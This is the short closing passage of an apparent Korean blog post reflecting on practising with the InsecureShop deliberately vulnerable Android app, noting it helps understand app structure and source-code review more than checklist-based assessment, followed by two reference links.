그리고 막상 다 해보니까 전체적으로 앱이 동작하는 구조를 알게돼서 좋은데 사실 체크리스트 기준으로 진단할때는 또 그닥 도움되는건 아닐듯? 그냥 소스코드 진단 차원에서는 괜찮은데 체크리스트 진단과는 성격이 맞지 않음


참고

https://docs.insecureshopapp.com/
https://erev0s.com/blog/insecureshop-write-up-all-vulnerabilities-explained/

Comments